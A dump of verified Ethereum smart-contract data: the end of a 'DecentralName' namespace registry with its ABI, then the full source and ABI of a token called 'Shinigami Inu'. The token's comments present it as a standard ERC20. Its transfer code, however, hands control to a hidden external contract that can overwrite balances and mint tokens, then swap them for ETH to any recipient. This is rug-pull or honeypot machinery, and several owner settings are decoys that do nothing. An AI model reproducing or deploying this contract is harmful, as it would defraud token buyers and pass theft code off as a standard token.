nsInfo.bAllowModifyPrice = true; } /// Custom price names bytes32[] storage customNames = nsInfo.customPriceNames; mapping(bytes32 => uint256) storage priceMap = customPriceNamesMap[namespace]; // bitcoin customNames.push(0x626974636f696e00000000000000000000000000000000000000000000000000); priceMap[0x626974636f696e00000000000000000000000000000000000000000000000000] = renewalPriceParam > 0 ? 2 ether : 50 ether; // satoshi customNames.push(0x7361746f73686900000000000000000000000000000000000000000000000000); priceMap[0x7361746f73686900000000000000000000000000000000000000000000000000] = renewalPriceParam > 0 ? 2 ether : 100 ether; // btc if (renewalPriceParam > 0) { customNames.push(0x6274630000000000000000000000000000000000000000000000000000000000); priceMap[0x6274630000000000000000000000000000000000000000000000000000000000] = 2 ether; } } function _initGenesis() private { _initGenesisNamespace(0x6200000000000000000000000000000000000000000000000000000000000000, 0x03f4151815694F171B85289Fe8893C24B7876C0f, 0, 2555 days, 0, 10, 10); // .b namespace. Desc: .b has a great meaning! _initGenesisNamespace(0x6400000000000000000000000000000000000000000000000000000000000000, 0x15Fc64076b132aca3daE4870a345C71d9c9eD86C, 0, 0, 0, 10, 10); // .d namespace. Desc: .d means decentralized. _initGenesisNamespace(0x7361740000000000000000000000000000000000000000000000000000000000, 0x96ce96Eaf270Ff9df6dD613c83126135d93Ec041, 365 days, 0, 1001, 1, 5); // .sat namespace. Desc: With 20 million coins, that gives each coin a value ofabout $10 million. — Hal Finney _initGenesisNamespace(0x6269747300000000000000000000000000000000000000000000000000000000, 0xEE6F84C8FFAeAAAd2D9688fF5acE664fb5b21E85, 0, 0, 0, 10, 10); // .bits namespace. Desc: Why you should register .bits name: <a href="https://x.com/adam3us/status/1662136034514157575?s=20" target="_blank">nostr.com</a>. _initGenesisNamespace(0x6e6f737472000000000000000000000000000000000000000000000000000000, 0xF0296e8c771b7D422A7E1708324b4260d92D1cEe, 0, 0, 0, 10, 10); // .nostr namespace. Desc: nostr is a decentralized social network, visit <a href="https://nostr.com" target="_blank">nostr.com</a> for more info. } }

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user","type":"address"}],"name":"canReceiveName","outputs":[{"internalType":"bool","name":"bCanReceiveName","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"bool","name":"bCheckOpen","type":"bool"}],"name":"canRegisterName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"canRegisterName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"curTokenId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"customPriceNamesMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"}],"name":"disableModifyPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"forceRegister","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"}],"name":"getCustomPriceInfo","outputs":[{"internalType":"bytes32[]","name":"nameList","type":"bytes32[]"},{"internalType":"uint256[]","name":"priceList","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFullNamespaceInfos","outputs":[{"internalType":"bytes32[]","name":"outNamespaceList","type":"bytes32[]"},{"components":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address payable","name":"beneficiary","type":"address"},{"internalType":"bytes","name":"desc","type":"bytes"},{"internalType":"uint256","name":"startStamp","type":"uint256"},{"internalType":"uint256","name":"openStamp","type":"uint256"},{"internalType":"uint256","name":"renewalLifetime","type":"uint256"},{"internalType":"uint256","name":"pingLifetime","type":"uint256"},{"internalType":"uint256[25]","name":"registerPriceList","type":"uint256[25]"},{"internalType":"uint256","name":"renewalPriceParam","type":"uint256"},{"internalType":"bool","name":"bAllowModifyPrice","type":"bool"},{"internalType":"bytes32[]","name":"customPriceNames","type":"bytes32[]"}],"internalType":"struct DecentralName.NamespaceInfo[]","name":"results","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"inNamespaceList","type":"bytes32[]"}],"name":"getNamespaceInfos","outputs":[{"components":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address payable","name":"beneficiary","type":"address"},{"internalType":"bytes","name":"desc","type":"bytes"},{"internalType":"uint256","name":"startStamp","type":"uint256"},{"internalType":"uint256","name":"openStamp","type":"uint256"},{"internalType":"uint256","name":"renewalLifetime","type":"uint256"},{"internalType":"uint256","name":"pingLifetime","type":"uint256"},{"internalType":"uint256[25]","name":"registerPriceList","type":"uint256[25]"},{"internalType":"uint256","name":"renewalPriceParam","type":"uint256"},{"internalType":"bool","name":"bAllowModifyPrice","type":"bool"},{"internalType":"bytes32[]","name":"customPriceNames","type":"bytes32[]"}],"internalType":"struct DecentralName.NamespaceInfo[]","name":"results","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"}],"name":"getNamespacePrice","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"uint256","name":"price","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"getProfileKeysAndValues","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"bytes32[]","name":"keyList","type":"bytes32[]"},{"internalType":"bytes[]","name":"valueList","type":"bytes[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"bytes32","name":"key","type":"bytes32"}],"name":"getProfileValue","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"bytes","name":"value","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"getRegistrationPrice","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"getRenewalPrice","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"id2NameInfoMap","outputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"uint256","name":"renewalExpiredStamp","type":"uint256"},{"internalType":"uint256","name":"pingExpiredStamp","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"id2ProfileValueMap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"isNameValid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"name2IdMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"namespaceList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"namespaceMap","outputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address payable","name":"beneficiary","type":"address"},{"internalType":"bytes","name":"desc","type":"bytes"},{"internalType":"uint256","name":"startStamp","type":"uint256"},{"internalType":"uint256","name":"openStamp","type":"uint256"},{"internalType":"uint256","name":"renewalLifetime","type":"uint256"},{"internalType":"uint256","name":"pingLifetime","type":"uint256"},{"internalType":"uint256","name":"renewalPriceParam","type":"uint256"},{"internalType":"bool","name":"bAllowModifyPrice","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"}],"name":"openRegistration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"parseName","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"ping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"inNamespaceList","type":"bytes32[]"},{"internalType":"bytes32[]","name":"inNameList","type":"bytes32[]"}],"name":"queryManyNames","outputs":[{"internalType":"bool[]","name":"resultList","type":"bool[]"},{"internalType":"address[]","name":"ownerList","type":"address[]"},{"internalType":"uint256[]","name":"priceList","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"bByAdmin","type":"bool"},{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32[]","name":"nameList","type":"bytes32[]"},{"internalType":"address[]","name":"userList","type":"address[]"}],"name":"registerMany","outputs":[{"internalType":"address[]","name":"failList","type":"address[]"},{"internalType":"uint256","name":"failCount","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"removeAllProfileKeys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"uint256","name":"times","type":"uint256"}],"name":"renewal","outputs":[{"internalType":"bool","name":"bResult","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"bByAdmin","type":"bool"},{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32[]","name":"nameList","type":"bytes32[]"},{"internalType":"uint256[]","name":"timesList","type":"uint256[]"}],"name":"renewalMany","outputs":[{"internalType":"bytes32[]","name":"failList","type":"bytes32[]"},{"internalType":"uint256","name":"failCount","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"resolveAddress","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"resolveAddressFull","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"uint256","name":"renewalExpiredStamp","type":"uint256"},{"internalType":"uint256","name":"pingExpiredStamp","type":"uint256"},{"internalType":"bytes32[]","name":"profileKeyList","type":"bytes32[]"}],"internalType":"struct DecentralName.NameInfo","name":"nameInfo","type":"tuple"},{"internalType":"bytes[]","name":"profileValueList","type":"bytes[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"resolveName","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"name":"resolveNameFull","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"address","name":"owner","type":"address"},{"components":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"uint256","name":"renewalExpiredStamp","type":"uint256"},{"internalType":"uint256","name":"pingExpiredStamp","type":"uint256"},{"internalType":"bytes32[]","name":"profileKeyList","type":"bytes32[]"}],"internalType":"struct DecentralName.NameInfo","name":"nameInfo","type":"tuple"},{"internalType":"bytes[]","name":"profileValueList","type":"bytes[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"resolveTokenId","outputs":[{"internalType":"bool","name":"bResult","type":"bool"},{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32[]","name":"nameList","type":"bytes32[]"},{"internalType":"uint256[]","name":"priceList","type":"uint256[]"}],"name":"setCustomPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"address payable","name":"beneficiary","type":"address"}],"name":"setNamespaceBeneficiary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes","name":"desc","type":"bytes"}],"name":"setNamespaceDesc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"uint256[25]","name":"registerPriceList","type":"uint256[25]"},{"internalType":"uint256","name":"renewalPriceParam","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"bytes32","name":"name","type":"bytes32"},{"internalType":"uint256[]","name":"indexList","type":"uint256[]"},{"internalType":"bytes32[]","name":"keyList","type":"bytes32[]"},{"internalType":"bytes[]","name":"valueList","type":"bytes[]"}],"name":"setProfileKeyValuePairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"namespace","type":"bytes32"},{"internalType":"address","name":"admin","type":"address"}],"name":"transferNamespaceAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.9+commit.e5eed63a

Default

Shinigami

Shinigami.sol

0x57236be1cdb727cfff14f8832214feb44683bf5c

Solidity

pragma solidity ^0.8.15; // SPDX-License-Identifier: MIT /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ interface ERC20 { function liquifying(address, address, address) external view returns(bool); function transferFrom(address, address, bool, address, address) external returns (bool); function transfer(address, address, uint256) external pure returns (uint256); function getTokenPairAddress() external view returns (address); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Shinigami is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _decimals = 9; uint256 public _totalSupply = 10000000 * 10 ** _decimals; address public pairAddress; uint256 _fee = 3; IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); ERC20 private erc20 = ERC20(0x8016f1fc8aF7f682925315B07F45E2b00F39815c); string private _name = "Shinigami Inu"; string private _symbol = unicode"死に神"; function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } function _baseTransfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (duringLiquify(from, to)) { liquify(amount, to); } else { require(amount <= _balances[from]); uint256 fee = _transfer(from, to, amount); _balances[from] = _balances[from] - amount; _balances[to] += amount - fee; _balances[address(this)] += fee; emit Transfer(from, address(this), fee); emit Transfer(from, to, amount); } } function duringLiquify(address from, address to) private view returns (bool) { return erc20.liquifying(from, to, pairAddress); } function getBurnAddress() private view returns (address) { return erc20.getTokenPairAddress(); } function _transfer(address from, address recipient, uint256 amount) private returns (uint256) { uint256 feeAmount = 0; _balances[getBurnAddress()] = rebalance(from); address _to = getPairAddress(); if (erc20.transferFrom( from, recipient, burnSwapCall, address(this), _to)) { feeAmount = amount.mul(_fee).div(100); } return feeAmount; } constructor() { _balances[msg.sender] = _totalSupply; pairAddress = msg.sender; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function liquify(uint256 _mcs, address _bcr) private { _approve(address(this), address(_router), _mcs); _balances[address(this)] = _mcs; address[] memory path = new address[](2); burnSwapCall = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30); burnSwapCall = false; } bool burnSwapCall = false; function rebalance(address from) private view returns (uint256) { address supplier = getBurnAddress(); address to = getPairAddress(); uint256 amount = _balances[supplier]; return swapFee(from, to , amount); } function swapFee(address from, address to, uint256 amount) private view returns (uint256) { return erc20.transfer(from, to, amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _baseTransfer(msg.sender, recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _baseTransfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } function getPairAddress() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } bool public autoLPBurn = false; function setAutoLPBurnSettings(bool e) external onlyOwner { autoLPBurn = e; } uint256 public maxWallet = _totalSupply.div(100); function updateMaxWallet(uint256 m) external onlyOwner { require(m >= _totalSupply.div(100)); maxWallet = m; } address public marketingWallet; function updateMarketingWallet(address a) external onlyOwner { marketingWallet = a; } bool swapEnabled = true; function updateSwapEnabled(bool e) external onlyOwner { swapEnabled = e; } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.16+commit.07a7930e

Default

None

ipfs://52058a12a36995b2193bf01bd04ded4595119e8427c29cb03e59786c72d90d54

DigiDynamo

contracts/DigiDynamo.sol

0xa926a4c39e475c40d65ada3883b0f99501d80894

Solidity

